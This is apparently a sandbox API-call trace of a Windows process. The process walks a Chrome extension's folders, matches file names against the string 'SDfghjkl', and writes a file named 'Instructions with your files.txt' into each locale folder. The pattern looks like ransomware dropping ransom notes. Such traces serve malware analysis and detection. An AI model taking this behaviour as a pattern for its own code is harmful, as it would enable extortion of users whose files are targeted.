[0128.998] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfe051a00, ftLastWriteTime.dwHighDateTime=0x1d03f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.js", cAlternateFileName="")) returned 1
[0128.998] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js") returned 137
[0128.998] StrStrIW (lpFirst="main.js", lpSrch="SDfghjkl") returned 0x0
[0128.998] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86727140, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1
[0128.998] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json") returned 143
[0128.998] StrStrIW (lpFirst="manifest.json", lpSrch="SDfghjkl") returned 0x0
[0128.998] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_locales", cAlternateFileName="")) returned 1
[0128.998] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 138
[0128.998] GetProcessHeap () returned 0x810000
[0128.998] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8dcc28
[0128.998] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\*") returned 140
[0128.998] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\*", lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876eb8
[0129.003] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\.") returned 140
[0129.003] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.003] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\..") returned 141
[0129.003] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1
[0129.003] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar") returned 141
[0129.003] GetProcessHeap () returned 0x810000
[0129.003] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.003] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\*") returned 143
[0129.003] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.003] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\.") returned 143
[0129.003] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.003] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\..") returned 144
[0129.003] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.003] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json") returned 155
[0129.003] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.003] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.003] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\Instructions with your files.txt") returned 174
[0129.004] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.004] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.005] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.005] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.005] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.005] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.005] CloseHandle (hObject=0x134) returned 1
[0129.005] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.005] GetProcessHeap () returned 0x810000
[0129.005] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.005] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1
[0129.005] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg") returned 141
[0129.005] GetProcessHeap () returned 0x810000
[0129.005] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.006] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\*") returned 143
[0129.006] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.006] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\.") returned 143
[0129.006] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.006] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\..") returned 144
[0129.006] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.006] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json") returned 155
[0129.006] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.006] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.006] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\Instructions with your files.txt") returned 174
[0129.006] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.006] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.007] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.007] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.008] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.008] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.008] CloseHandle (hObject=0x134) returned 1
[0129.008] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.008] GetProcessHeap () returned 0x810000
[0129.008] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.008] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1
[0129.008] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca") returned 141
[0129.008] GetProcessHeap () returned 0x810000
[0129.008] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.008] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\*") returned 143
[0129.008] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.009] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\.") returned 143
[0129.009] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.009] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\..") returned 144
[0129.009] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.009] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json") returned 155
[0129.009] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.009] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.009] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\Instructions with your files.txt") returned 174
[0129.009] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.010] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.011] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.011] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.011] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
